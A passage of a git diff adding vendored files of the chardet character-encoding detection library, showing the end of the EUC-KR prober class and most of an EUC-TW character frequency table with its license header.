License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import EUCKRDistributionAnalysis +from .mbcssm import EUCKR_SM_MODEL + + +class EUCKRProber(MultiByteCharSetProber): + def __init__(self): + super(EUCKRProber, self).__init__() + self.coding_sm = CodingStateMachine(EUCKR_SM_MODEL) + self.distribution_analyzer = EUCKRDistributionAnalysis() + self.reset() + + @property + def charset_name(self): + return "EUC-KR" + + @property + def language(self): + return "Korean" diff --git a/src/thirdparty/chardet/euctwfreq.py b/src/thirdparty/chardet/euctwfreq.py new file mode 100644 index 0000000000..ed7a995a3a --- /dev/null +++ b/src/thirdparty/chardet/euctwfreq.py @@ -0,0 +1,387 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# EUCTW frequency table +# Converted from big5 work +# by Taiwan's Mandarin Promotion Council +# <http:#www.edu.tw:81/mandr/> + +# 128 --> 0.42261 +# 256 --> 0.57851 +# 512 --> 0.74851 +# 1024 --> 0.89384 +# 2048 --> 0.97583 +# +# Idea Distribution Ratio = 0.74851/(1-0.74851) =2.98 +# Random Distribution Ration = 512/(5401-512)=0.105 +# +# Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR + +EUCTW_TYPICAL_DISTRIBUTION_RATIO = 0.75 + +# Char to FreqOrder table , +EUCTW_TABLE_SIZE = 5376 + +EUCTW_CHAR_TO_FREQ_ORDER = ( + 1,1800,1506, 255,1431, 198, 9, 82, 6,7310, 177, 202,3615,1256,2808, 110, # 2742 +3735, 33,3241, 261, 76, 44,2113, 16,2931,2184,1176, 659,3868, 26,3404,2643, # 2758 +1198,3869,3313,4060, 410,2211, 302, 590, 361,1963, 8, 204, 58,4296,7311,1931, # 2774 + 63,7312,7313, 317,1614, 75, 222, 159,4061,2412,1480,7314,3500,3068, 224,2809, # 2790 +3616, 3, 10,3870,1471, 29,2774,1135,2852,1939, 873, 130,3242,1123, 312,7315, # 2806 +4297,2051, 507, 252, 682,7316, 142,1914, 124, 206,2932, 34,3501,3173, 64, 604, # 2822 +7317,2494,1976,1977, 155,1990, 645, 641,1606,7318,3405, 337, 72, 406,7319, 80, # 2838 + 630, 238,3174,1509, 263, 939,1092,2644, 756,1440,1094,3406, 449, 69,2969, 591, # 2854 + 179,2095, 471, 115,2034,1843, 60, 50,2970, 134, 806,1868, 734,2035,3407, 180, # 2870 + 995,1607, 156, 537,2893, 688,7320, 319,1305, 779,2144, 514,2374, 298,4298, 359, # 2886 +2495, 90,2707,1338, 663, 11, 906,1099,2545, 20,2436, 182, 532,1716,7321, 732, # 2902 +1376,4062,1311,1420,3175, 25,2312,1056, 113, 399, 382,1949, 242,3408,2467, 529, # 2918 +3243, 475,1447,3617,7322, 117, 21, 656, 810,1297,2295,2329,3502,7323, 126,4063, # 2934 + 706, 456, 150, 613,4299, 71,1118,2036,4064, 145,3069, 85, 835, 486,2114,1246, # 2950 +1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,7324,2127,2354, 347,3736, 221, # 2966 +3503,3110,7325,1955,1153,4065, 83, 296,1199,3070, 192, 624, 93,7326, 822,1897, # 2982 +2810,3111, 795,2064, 991,1554,1542,1592, 27, 43,2853, 859, 139,1456, 860,4300, # 2998 + 437, 712,3871, 164,2392,3112, 695, 211,3017,2096, 195,3872,1608,3504,3505,3618, # 3014 +3873, 234, 811,2971,2097,3874,2229,1441,3506,1615,2375, 668,2076,1638, 305, 228, # 3030 +1664,4301, 467, 415,7327, 262,2098,1593, 239, 108, 300, 200,1033, 512,1247,2077, # 3046 +7328,7329,2173,3176,3619,2673, 593, 845,1062,3244, 88,1723,2037,3875,1950, 212, # 3062 + 266, 152, 149, 468,1898,4066,4302, 77, 187,7330,3018, 37, 5,2972,7331,3876, # 3078 +7332,7333, 39,2517,4303,2894,3177,2078, 55, 148, 74,4304, 545, 483,1474,1029, # 3094 +1665, 217,1869,1531,3113,1104,2645,4067, 24, 172,3507, 900,3877,3508,3509,4305, # 3110 + 32,1408,2811,1312, 329, 487,2355,2247,2708, 784,2674, 4,3019,3314,1427,1788, # 3126 + 188, 109, 499,7334,3620,1717,1789, 888,1217,3020,4306,7335,3510,7336,3315,1520, # 3142 +3621,3878, 196,1034, 775,7337,7338, 929,1815, 249, 439, 38,7339,1063,7340, 794, # 3158 +3879,1435,2296, 46, 178,3245,2065,7341,2376,7342, 214,1709,4307, 804, 35, 707, # 3174 + 324,3622,1601,2546, 140, 459,4068,7343,7344,1365, 839, 272, 978,2257,2572,3409, # 3190 +2128,1363,3623,1423, 697, 100,3071, 48, 70,1231, 495,3114,2193,7345,1294,7346, # 3206 +2079, 462, 586,1042,3246, 853, 256, 988, 185,2377,3410,1698, 434,1084,7347,3411, # 3222 + 314,2615,2775,4308,2330,2331, 569,2280, 637,1816,2518, 757,1162,1878,1616,3412, # 3238 + 287,1577,2115, 768,4309,1671,2854,3511,2519,1321,3737, 909,2413,7348,4069, 933, # 3254 +3738,7349,2052,2356,1222,4310, 765,2414,1322, 786,4311,7350,1919,1462,1677,2895, # 3270 +1699,7351,4312,1424,2437,3115,3624,2590,3316,1774,1940,3413,3880,4070, 309,1369, # 3286 +1130,2812, 364,2230,1653,1299,3881,3512,3882,3883,2646, 525,1085,3021, 902,2000, # 3302 +1475, 964,4313, 421,1844,1415,1057,2281, 940,1364,3116, 376,4314,4315,1381, 7, # 3318 +2520, 983,2378, 336,1710,2675,1845, 321,3414, 559,1131,3022,2742,1808,1132,1313, # 3334 + 265,1481,1857,7352, 352,1203,2813,3247, 167,1089, 420,2814, 776, 792,1724,3513, # 3350 +4071,2438,3248,7353,4072,7354, 446, 229, 333,2743, 901,3739,1200,1557,4316,2647, # 3366 +1920, 395,2744,2676,3740,4073,1835, 125, 916,3178,2616,4317,7355,7356,3741,7357, # 3382 +7358,7359,4318,3117,3625,1133,2547,1757,3415,1510,2313,1409,3514,7360,2145, 438, # 3398 +2591,2896,2379,3317,1068, 958,3023, 461, 311,2855,2677,4074,1915,3179,4075,1978, # 3414 + 383, 750,2745,2617,4076, 274, 539, 385,1278,1442,7361,1154,1964, 384, 561, 210, # 3430 + 98,1295,2548,3515,7362,1711,2415,1482,3416,3884,2897,1257, 129,7363,3742, 642, # 3446 + 523,2776,2777,2648,7364, 141,2231,1333, 68, 176, 441, 876, 907,4077, 603,2592, # 3462 + 710, 171,3417, 404, 549, 18,3118,2393,1410,3626,1666,7365,3516,4319,2898,4320, # 3478 +7366,2973, 368,7367, 146, 366, 99, 871,3627,1543, 748, 807,1586,1185, 22,2258, # 3494 + 379,3743,3180,7368,3181, 505,1941,2618,1991,1382,2314,7369, 380,2357, 218, 702, # 3510 +1817,1248,3418,3024,3517,3318,3249,7370,2974,3628, 930,3250,3744,7371, 59,7372, # 3526 + 585, 601,4078, 497,3419,1112,1314,4321,1801,7373,1223,1472,2174,7374, 749,1836, # 3542 + 690,1899,3745,1772,3885,1476, 429,1043,1790,2232,2116, 917,4079, 447,1086,1629, # 3558 +7375, 556,7376,7377,2020,1654, 844,1090, 105, 550, 966,1758,2815,1008,1782, 686, # 3574 +1095,7378,2282, 793,1602,7379,3518,2593,4322,4080,2933,2297,4323,3746, 980,2496, # 3590 + 544, 353, 527,4324, 908,2678,2899,7380, 381,2619,1942,1348,7381,1341,1252, 560, # 3606 +3072,7382,3420,2856,7383,2053, 973, 886,2080, 143,4325,7384,7385, 157,3886, 496, # 3622 +4081, 57, 840, 540,2038,4326,4327,3421,2117,1445, 970,2259,1748,1965,2081,4082, # 3638 +3119,1234,1775,3251,2816,3629, 773,1206,2129,1066,2039,1326,3887,1738,1725,4083, # 3654 + 279,3120, 51,1544,2594, 423,1578,2130,2066, 173,4328,1879,7386,7387,1583, 264, # 3670 + 610,3630,4329,2439, 280, 154,7388,7389,7390,1739, 338,1282,3073, 693,2857,1411, # 3686 +1074,3747,2440,7391,4330,7392,7393,1240, 952,2394,7394,2900,1538,2679, 685,1483, # 3702 +4084,2468,1436, 953,4085,2054,4331, 671,2395, 79,4086,2441,3252, 608, 567,2680, # 3718 +3422,4087,4088,1691, 393,1261,1791,2396,7395,4332,7396,7397,7398,7399,1383,1672, # 3734 +3748,3182,1464, 522,1119, 661,1150, 216, 675,4333,3888,1432,3519, 609,4334,2681, # 3750 +2397,7400,7401,7402,4089,3025, 0,7403,2469, 315, 231,2442, 301,3319,4335,2380, # 3766 +7404, 233,4090,3631,1818,4336,4337,7405, 96,1776,1315,2082,7406, 257,7407,1809, # 3782 +3632,2709,1139,1819,4091,2021,1124,2163,2778,1777,2649,7408,3074, 363,1655,3183, # 3798 +7409,2975,7410,7411,7412,3889,1567,3890, 718, 103,3184, 849,1443, 341,3320,2934, # 3814 +1484,7413,1712, 127, 67, 339,4092,2398, 679,1412, 821,7414,7415, 834, 738, 351, # 3830 +2976,2146, 846, 235,1497,1880, 418,1992,3749,2710, 186,1100,2147,2746,3520,1545, # 3846 +1355,2935,2858,1377, 583,3891,4093,2573,2977,7416,1298,3633,1078,2549,3634,2358, # 3862 + 78,3750,3751, 267,1289,2099,2001,1594,4094, 348, 369,1274,2194,2175,1837,4338, # 3878 +1820,2817,3635,2747,2283,2002,4339,2936,2748, 144,3321, 882,4340,3892,2749,3423, # 3894 +4341,2901,7417,4095,1726, 320,7418,3893,3026, 788,2978,7419,2818,1773,1327,2859, # 3910 +3894,2819,7420,1306,4342,2003,1700,3752,3521,2359,2650, 787,2022, 506, 824,3636, # 3926 + 534, 323,4343,1044,3322,2023,1900, 946,3424,7421,1778,1500,1678,7422,1881,4344, # 3942 + 165, 243,4345,3637,2521, 123, 683,4096, 764,4346, 36,3895,1792, 589,2902, 816, # 3958 + 626,1667,3027,2233,1639,1555,1622,3753,3896,7423,3897,2860,1370,1228,1932, 891, # 3974 +2083,2903, 304,4097,7424, 292,2979,2711,3522, 691,2100,4098,1115,4347, 118, 662, # 3990 +7425, 611,1156, 854,2381,1316,2861, 2, 386, 515,2904,7426,7427,3253, 868,2234, # 4006 +1486, 855,2651, 785,2212,3028,7428,1040,3185,3523,7429,3121, 448,7430,1525,7431, # 4022 +2164,4348,7432,3754,7433,4099,2820,3524,3122, 503, 818,3898,3123,1568, 814, 676, # 4038 +1444, 306,1749,7434,3755,1416,1030, 197,1428, 805,2821,1501,4349,7435,7436,7437, # 4054 +1993,7438,4350,7439,7440,2195, 13,2779,3638,2980,3124,1229,1916,7441,3756,2131, # 4070 +7442,4100,4351,2399,3525,7443,2213,1511,1727,1120,7444,7445, 646,3757,2443, 307, # 4086 +7446,7447,1595,3186,7448,7449,7450,3639,1113,1356,3899,1465,2522,2523,7451, 519, # 4102 +7452, 128,2132, 92,2284,1979,7453,3900,1512, 342,3125,2196,7454,2780,2214,1980, # 4118 +3323,7455, 290,1656,1317, 789, 827,2360,7456,3758,4352, 562, 581,3901,7457, 401, # 4134 +4353,2248, 94,4354,1399,2781,7458,1463,2024,4355,3187,1943,7459, 828,1105,4101, # 4150 +1262,1394,7460,4102, 605,4356,7461,1783,2862,7462,2822, 819,2101, 578,2197,2937, # 4166 +7463,1502, 436,3254,4103,3255,2823,3902,2905,3425,3426,7464,2712,2315,7465,7466, # 4182 +2332,2067, 23,4357, 193, 826,3759,2102, 699,1630,4104,3075, 390,1793,1064,3526, # 4198 +7467,1579,3076,3077,1400,7468,4105,1838,1640,2863,7469,4358,4359, 137,4106, 598, # 4214 +3078,1966, 780, 104, 974,2938,7470, 278, 899, 253, 402, 572, 504, 493,1339,7471, # 4230 +3903,1275,4360,2574,2550,7472,3640,3029,3079,2249, 565,1334,2713, 863, 41,7473, # 4246 +7474,4361,7475,1657,2333, 19, 463,2750,4107, 606,7476,2981,3256,1087,2084,1323, # 4262 +2652,2982,7477,1631,1623,1750,4108,2682,7478,2864, 791,2714,2653,2334, 232,2416, # 4278 +7479,2983,1498,7480,2654,2620, 755,1366,3641,3257,3126,2025,1609, 119,1917,3427, # 4294 + 862,1026,4109,7481,3904,3760,4362,3905,4363,2260,1951,2470,7482,1125, 817,4110, # 4310 +4111,3906,1513,1766,2040,1487,4112,3030,3258,2824,3761,3127,7483,7484,1507,7485, # 4326 +2683, 733, 40,1632,1106,2865, 345,4113, 841,2524, 230,4364,2984,1846,3259,3428, # 4342 +7486,1263, 986,3429,7487, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562,3907, # 4358 +3908,2939, 967,2751,2655,1349, 592,2133,1692,3324,2985,1994,4114,1679,3909,1901, # 4374 +2185,7488, 739,3642,2715,1296,1290,7489,4115,2198,2199,1921,1563,2595,2551,1870, # 4390 +2752,2986,7490, 435,7491, 343,1108, 596, 17,1751,4365,2235,3430,3643,7492,4366, # 4406 + 294,3527,2940,1693, 477, 979, 281,2041,3528, 643,2042,3644,2621,2782,2261,1031, # 4422 +2335,2134,2298,3529,4367, 367,1249,2552,7493,3530,7494,4368,1283,3325,2004, 240, # 4438 +1762,3326,4369,4370, 836,1069,3128, 474,7495,2148,2525, 268,3531,7496,3188,1521, # 4454 +1284,7497,1658,1546,4116,7498,3532,3533,7499,4117,3327,2684,1685,4118, 961,1673, # 4470 +2622, 190,2005,2200,3762,4371,4372,7500, 570,2497,3645,1490,7501,4373,2623,3260, # 4486 +1956,4374, 584,1514, 396,1045,1944,7502,4375,1967,2444,7503,7504,4376,3910, 619, # 4502 +7505,3129,3261, 215,2006,2783,2553,3189,4377,3190,4378, 763,4119,3763,4379,7506, # 4518 +7507,1957,1767,2941,3328,3646,1174, 452,1477,4380,3329,3130,7508,2825,1253,2382, # 4534 +2186,1091,2285,4120, 492,7509, 638,1169,1824,2135,1752,3911, 648, 926,1021,1324, # 4550 +4381, 520,4382, 997, 847,1007, 892,4383,3764,2262,1871,3647,7510,2400,1784,4384, # 4566 +1952,2942,3080,3191,1728,4121,2043,3648,4385,2007,1701,3131,1551, 30,2263,4122, # 4582 +7511,2026,4386,3534,7512, 501,7513,4123, 594,3431,2165,1821,3535,3432,3536,3192, # 4598 + 829,2826,4124,7514,1680,3132,1225,4125,7515,3262,4387,4126,3133,2336,7516,4388, # 4614 +4127,7517,3912,3913,7518,1847,2383,2596,3330,7519,4389, 374,3914, 652,4128,4129, # 4630 + 375,1140, 798,7520,7521,7522,2361,4390,2264, 546,1659, 138,3031,2445,4391,7523, # 4646 +2250, 612,1848, 910, 796,3765,1740,1371, 825,3766,3767,7524,2906,2554,7525, 692, # 4662 + 444,3032,2624, 801,4392,4130,7526,1491, 244,1053,3033,4131,4132, 340,7527,3915, # 4678 +1041,2987, 293,1168, 87,1357,7528,1539, 959,7529,2236, 721, 694,4133,3768, 219, # 4694 +1478, 644,1417,3331,2656,1413,1401,1335,1389,3916,7530,7531,2988,2362,3134,1825, # 4710 + 730,1515, 184,2827, 66,4393,7532,1660,2943, 246,3332, 378,1457, 226,3433, 975, # 4726 +3917,2944,1264,3537, 674, 696,7533, 163,7534,1141,2417,2166, 713,3538,3333,4394, # 4742 +3918,7535,7536,1186, 15,7537,1079,1070,7538,1522,3193,3539, 276,1050,2716, 758, # 4758 +1126, 653,2945,3263,7539,2337, 889,3540,3919,3081,2989, 903,1250,4395,3920,3434, # 4774 +3541,1342,1681,1718, 766,3264, 286, 89,2946,3649,7540,1713,7541,2597,3334,2990, # 4790 +7542,2947,2215,3194,2866,7543,4396,2498,2526, 181, 387,1075,3921, 731,2187,3335, # 4806 +7544,3265, 310, 313,3435,2299, 770,4134, 54,3034, 189,4397,3082,3769,3922,7545, # 4822 +1230,1617,1849, 355,3542,4135,4398,3336, 111,4136,3650,1350,3135,3436,3035,4137, # 4838 +2149,3266,3543,7546,2784,3923,3924,2991, 722,2008,7547,1071, 247,1207,2338,2471, # 4854 +1378,4399,2009, 864,1437,1214,4400, 373,3770,1142,2216, 667,4401, 442,2753,2555, # 4870 +3771,3925,1968,4138,3267,1839, 837, 170,1107, 934,1336,1882,7548,7549,2118,4139, # 4886 +2828, 743,1569,7550,4402,4140, 582,2384,1418,3437,7551,1802,7552, 357,1395,1729, # 4902 +3651,3268,2418,1564,2237,7553,3083,3772,1633,4403,1114,2085,4141,1532,7554, 482, # 4918 +2446,4404,7555,7556,1492, 833,1466,7557,2717,3544,1641,2829,7558,1526,1272,3652, # 4934 +4142,1686,1794, 416,2556,1902,1953,1803,7559,3773,2785,3774,1159,2316,7560,2867, # 4950 +4405,1610,1584,3036,2419,2754, 443,3269,1163,3136,7561,7562,3926,7563,4143,2499, # 4966 +3037,4406,3927,3137,2103,1647,3545,2010,1872,4144,7564,4145, 431,3438,7565, 250, # 4982 + 97, 81,4146,7566,1648,1850,1558, 160, 848,7567, 866, 740,1694,7568,2201,2830, # 4998 +3195,4147,4407,3653,1687, 950,2472, 426, 469,3196,3654,3655,3928,7569,7570,1188, # 5014 + 424,1995, 861,3546,4148,3775,2202,2685, 168,1235,3547,4149,7571,2086,1674,4408, # 5030 +3337,3270, 220,2557,1009,7572,3776, 670,2992, 332,1208, 717,7573,7574,3548,2447, # 5046 +3929,3338,7575, 513,7576,1209,2868,3339,3138,4409,1080,7577,7578,7579,7580,2527, # 5062 +3656,3549, 815,1587,3930,3931,7581,3550,3439,3777,1254,4410,1328,3038,1390,3932, # 5078 +1741,3933,3778,3934,7582, 236,3779,2448,3271,7583,7584,3657,3780,1273,3781,4411, # 5094 +7585, 308,7586,4412, 245,4413,1851,2473,1307,2575, 430, 715,2136,2449,7587, 270, # 5110 + 199,2869,3935,7588,3551,2718,1753, 761,1754, 725,1661,1840,4414,3440,3658,7589, # 5126 +7590, 587, 14,3272, 227,2598, 326, 480,2265, 943,2755,3552, 291, 650,1883,7591, # 5142 +1702,1226, 102,1547, 62,3441, 904,4415,3442,1164,4150,7592,7593,1224,1548,2756, # 5158 + 391, 498,1493,7594,1386,1419,7595,2055,1177,4416, 813, 880,1081,2363, 566,1145, # 5174 +4417,2286,1001,1035,2558,2599,2238, 394,1286,7596,7597,2068,7598, 86,1494,1730, # 5190 +3936, 491,1588, 745, 897,2948, 843,3340,3937,2757,2870,3273,1768, 998,2217,2069, # 5206 + 397,1826,1195,1969,3659,2993,3341, 284,7599,3782,2500,2137,2119,1903,7600,3938, # 5222 +2150,3939,4151,1036,3443,1904, 114,2559,4152, 209,1527,7601,7602,2949,2831,2625, # 5238 +2385,2719,3139, 812,2560,7603,3274,7604,1559, 737,1884,3660,1210, 885, 28,2686, # 5254 +3553,3783,7605,4153,1004,1779,4418,7606, 346,1981,2218,2687,4419,3784,1742, 797, # 5270 +1642,3940,1933,1072,1384,2151, 896,3941,3275,3661,3197,2871,3554,7607,2561,1958, # 5286 +4420,2450,1785,7608,7609,7610,3942,4154,1005,1308,3662,4155,2720,4421,4422,1528, # 5302 +2600, 161,1178,4156,1982, 987,4423,1101,4157, 631,3943,1157,3198,2420,1343,1241, # 5318 +1016,2239,2562, 372, 877,2339,2501,1160, 555,1934, 911,3944,7611, 466,1170, 169, # 5334 +1051,2907,2688,3663,2474,2994,1182,2011,2563,1251,2626,7612, 992,2340,3444,1540, # 5350 +2721,1201,2070,2401,1996,2475,7613,4424, 528,1922,2188,1503,1873,1570,2364,3342, # 5366 +3276,7614, 557,1073,7615,1827,3445,2087,2266,3140,3039,3084, 767,3085,2786,4425, # 5382 +1006,4158,4426,2341,1267,2176,3664,3199, 778,3945,3200,2722,1597,2657,7616,4427, # 5398 +7617,3446,7618,7619,7620,3277,2689,1433,3278, 131, 95,1504,3946, 723,4159,3141, # 5414 +1841,3555,2758,2189,3947,2027,2104,3665,7621,2995,3948,1218,7622,3343,3201,3949, # 5430 +4160,2576, 248,1634,3785, 912,7623,2832,3666,3040,3786, 654, 53,7624,2996,7625, # 5446 +1688,4428, 777,3447,1032,3950,1425,7626, 191, 820,2120,2833, 971,4429, 931,3202, # 5462 + 135, 664, 783,3787,1997, 772,2908,1935,3951,3788,4430,2909,3203, 282,2723, 640, # 5478 +1372,3448,1127, 922, 325,3344,7627,7628, 711,2044,7629,7630,3952,2219,2787,1936, # 5494 +3953,3345,2220,2251,3789,2300,7631,4431,3790,1258,3279,3954,3204,2138,2950,3955, # 5510 +3956,7632,2221, 258,3205,4432, 101,1227,7633,3280,1755,7634,1391,3281,7635,2910, # 5526 +2056, 893,7636,7637,7638,1402,4161,2342,7639,7640,3206,3556,7641,7642, 878,1325, # 5542 +1780,2788,4433, 259,1385,2577, 744,1183,2267,4434,7643,3957,2502,7644, 684,1024, # 5558 +4162,7645, 472,3557,3449,1165,3282,3958,3959, 322,2152, 881, 455,1695,1152,1340, # 5574 + 660, 554,2153,4435,1058,4436,4163, 830,1065,3346,3960,4437,1923,7646,1703,1918, # 5590 +7647, 932,2268, 122,7648,4438, 947, 677,7649,3791,2627, 297,1905,1924,2269,4439, # 5606 +2317,3283,7650,7651,4164,7652,4165, 84,4166, 112, 989,7653, 547,1059,3961, 701, # 5622 +3558,1019,7654,4167,7655,3450, 942, 639, 457,2301,2451, 993,2951, 407, 851, 494, # 5638 +4440,3347, 927,7656,1237,7657,2421,3348, 573,4168, 680, 921,2911,1279,1874, 285, # 5654 + 790,1448,1983, 719,2167,7658,7659,4441,3962,3963,1649,7660,1541, 563,7661,1077, # 5670 +7662,3349,3041,3451, 511,2997,3964,3965,3667,3966,1268,2564,3350,3207,4442,4443, # 5686 +7663, 535,1048,1276,1189,2912,2028,3142,1438,1373,2834,2952,1134,2012,7664,4169, # 5702 +1238,2578,3086,1259,7665, 700,7666,2953,3143,3668,4170,7667,4171,1146,1875,1906, # 5718 +4444,2601,3967, 781,2422, 132,1589, 203, 147, 273,2789,2402, 898,1786,2154,3968, # 5734 +3969,7668,3792,2790,7669,7670,4445,4446,7671,3208,7672,1635,3793, 965,7673,1804, # 5750 +2690,1516,3559,1121,1082,1329,3284,3970,1449,3794, 65,1128,2835,2913,2759,1590, # 5766 +3795,7674,7675, 12,2658, 45, 976,2579,3144,4447, 517,2528,1013,1037,3209,7676, # 5782 +3796,2836,7677,3797,7678,3452,7679,2602, 614,1998,2318,3798,3087,2724,2628,7680, # 5798 +2580,4172, 599,1269,7681,1810,3669,7682,2691,3088, 759,1060, 489,1805,3351,3285, # 5814 +1358,7683,7684,2386,1387,1215,2629,2252, 490,7685,7686,4173,1759,2387,2343,7687, # 5830 +4448,3799,1907,3971,2630,1806,3210,4449,3453,3286,2760,2344, 874,7688,7689,3454, # 5846 +3670,1858, 91,2914,3671,3042,3800,4450,7690,3145,3972,2659,7691,3455,1202,1403, # 5862 +3801,2954,2529,1517,2503,4451,3456,2504,7692,4452,7693,2692,1885,1495,1731,3973, # 5878 +2365,4453,7694,2029,7695,7696,3974,2693,1216, 237,2581,4174,2319,3975,3802,4454, # 5894 +4455,2694,3560,3457, 445,4456,7697,7698,7699,7700,2761, 61,3976,3672,1822,3977, # 5910 +7701, 687,2045, 935, 925, 405,2660, 703,1096,1859,2725,4457,3978,1876,1367,2695, # 5926 +3352, 918,2105,1781,2476, 334,3287,1611,1093,4458, 564,3146,3458,3673,3353, 945, # 5942 +2631,2057,4459,7702,1925, 872,4175,7703,3459,2696,3089, 349,4176,3674,3979,4460, # 5958 +3803,4177,3675,2155,3980,4461,4462,4178,4463,2403,2046, 782,3981, 400, 251,4179, # 5974 +1624,7704,7705, 277,3676, 299,1265, 476,1191,3804,2121,4180,4181,1109, 205,7706, # 5990 +2582,1000,2156,3561,1860,7707,7708,7709,4464,7710,4465,2565, 107,2477,2157,3982, # 6006 +3460,3147,7711,1533, 541,1301, 158, 753,4182,2872,3562,7712,1696, 370,1088,4183, # 6022 +4466,3563, 579, 327, 440, 162,2240, 269,1937,1374,3461, 968,3043, 56,1396,3090, # 6038 +2106,3288,3354,7713,1926,2158,4467,2998,7714,3564,7715,7716,3677,4468,2478,7717, # 6054 +2791,7718,1650,4469,7719,2603,7720,7721,3983,2661,3355,1149,3356,3984,3805,3985, # 6070 +7722,1076, 49,7723, 951,3211,3289,3290, 450,2837, 920,7724,1811,2792,2366,4184, # 6086 +1908,1138,2367,3806,3462,7725,3212,4470,1909,1147,1518,2423,4471,3807,7726,4472, # 6102 +2388,2604, 260,1795,3213,7727,7728,3808,3291, 708,7729,3565,1704,7730,3566,1351, # 6118 +1618,3357,2999,1886, 944,4185,3358,4186,3044,3359,4187,7731,3678, 422, 413,1714, # 6134 +3292, 500,2058,2345,4188,2479,7732,1344,1910, 954,7733,1668,7734,7735,3986,2404, # 6150 +4189,3567,3809,4190,7736,2302,1318,2505,3091, 133,3092,2873,4473, 629, 31,2838, # 6166 +2697,3810,4474, 850, 949,4475,3987,2955,1732,2088,4191,1496,1852,7737,3988, 620, # 6182 +3214, 981,1242,3679,3360,1619,3680,1643,3293,2139,2452,1970,1719,3463,2168,7738, # 6198 +3215,7739,7740,3361,1828,7741,1277,4476,1565,2047,7742,1636,3568,3093,7743, 869, # 6214 +2839, 655,3811,3812,3094,3989,3000,3813,1310,3569,4477,7744,7745,7746,1733, 558, # 6230 +4478,3681, 335,1549,3045,1756,4192,3682,1945,3464,1829,1291,1192, 470,2726,2107, # 6246 +2793, 913,1054,3990,7747,1027,7748,3046,3991,4479, 982,2662,3362,3148,3465,3216, # 6262 +3217,1946,2794,7749, 571,4480,7750,1830,7751,3570,2583,1523,2424,7752,2089, 984, # 6278 +4481,3683,1959,7753,3684, 852, 923,2795,3466,3685, 969,1519, 999,2048,2320,1705, # 6294 +7754,3095, 615,1662, 151, 597,3992,2405,2321,1049, 275,4482,3686,4193, 568,3687, # 6310 +3571,2480,4194,3688,7755,2425,2270, 409,3218,7756,1566,2874,3467,1002, 769,2840, # 6326 + 194,2090,3149,3689,2222,3294,4195, 628,1505,7757,7758,1763,2177,3001,3993, 521, # 6342 +1161,2584,1787,2203,2406,4483,3994,1625,4196,4197, 412, 42,3096, 464,7759,2632, # 6358 +4484,3363,1760,1571,2875,3468,2530,1219,2204,3814,2633,2140,2368,4485,4486,3295, # 6374 +1651,3364,3572,7760,7761,3573,2481,3469,7762,3690,7763,7764,2271,2091, 460,7765, # 6390 +4487,7766,3002, 962, 588,3574, 289,3219,2634,1116, 52,7767,3047,1796,7768,7769, # 6406 +7770,1467,7771,1598,1143,3691,4198,1984,1734,1067,4488,1280,3365, 465,4489,1572, # 6422 + 510,7772,1927,2241,1812,1644,3575,7773,4490,3692,7774,7775,2663,1573,1534,7776, # 6438 +7777,4199, 536,1807,1761,3470,3815,3150,2635,7778,7779,7780,4491,3471,2915,1911, # 6454 +2796,7781,3296,1122, 377,3220,7782, 360,7783,7784,4200,1529, 551,7785,2059,3693, # 6470 +1769,2426,7786,2916,4201,3297,3097,2322,2108,2030,4492,1404, 136,1468,1479, 672, # 6486 +1171,3221,2303, 271,3151,7787,2762,7788,2049, 678,2727, 865,1947,4493,7789,2013, # 6502 +3995,2956,7790,2728,2223,1397,3048,3694,4494,4495,1735,2917,3366,3576,7791,3816, # 6518 + 509,2841,2453,2876,3817,7792,7793,3152,3153,4496,4202,2531,4497,2304,1166,1010, # 6534 + 552, 681,1887,7794,7795,2957,2958,3996,1287,1596,1861,3154, 358, 453, 736, 175, # 6550 + 478,1117, 905,1167,1097,7796,1853,1530,7797,1706,7798,2178,3472,2287,3695,3473, # 6566 +3577,4203,2092,4204,7799,3367,1193,2482,4205,1458,2190,2205,1862,1888,1421,3298, # 6582 +2918,3049,2179,3474, 595,2122,7800,3997,7801,7802,4206,1707,2636, 223,3696,1359, # 6598 + 751,3098, 183,3475,7803,2797,3003, 419,2369, 633, 704,3818,2389, 241,7804,7805, # 6614 +7806, 838,3004,3697,2272,2763,2454,3819,1938,2050,3998,1309,3099,2242,1181,7807, # 6630 +1136,2206,3820,2370,1446,4207,2305,4498,7808,7809,4208,1055,2605, 484,3698,7810, # 6646 +3999, 625,4209,2273,3368,1499,4210,4000,7811,4001,4211,3222,2274,2275,3476,7812, # 6662 +7813,2764, 808,2606,3699,3369,4002,4212,3100,2532, 526,3370,3821,4213, 955,7814, # 6678 +1620,4214,2637,2427,7815,1429,3700,1669,1831, 994, 928,7816,3578,1260,7817,7818, # 6694 +7819,1948,2288, 741,2919,1626,4215,2729,2455, 867,1184, 362,3371,1392,7820,7821, # 6710 +4003,4216,1770,1736,3223,2920,4499,4500,1928,2698,1459,1158,7822,3050,3372,2877, # 6726 +1292,1929,2506,2842,3701,1985,1187,2071,2014,2607,4217,7823,2566,2507,2169,3702, # 6742 +2483,3299,7824,3703,4501,7825,7826, 666,1003,3005,1022,3579,4218,7827,4502,1813, # 6758 +2253, 574,3822,1603, 295,1535, 705,3823,4219, 283, 858, 417,7828,7829,3224,4503, # 6774 +4504,3051,1220,1889,1046,2276,2456,4004,1393,1599, 689,2567, 388,4220,7830,2484, # 6790 + 802,7831,2798,3824,2060,1405,2254,7832,4505,3825,2109,1052,1345,3225,1585,7833, # 6806 + 809,7834,7835,7836, 575,2730,3477, 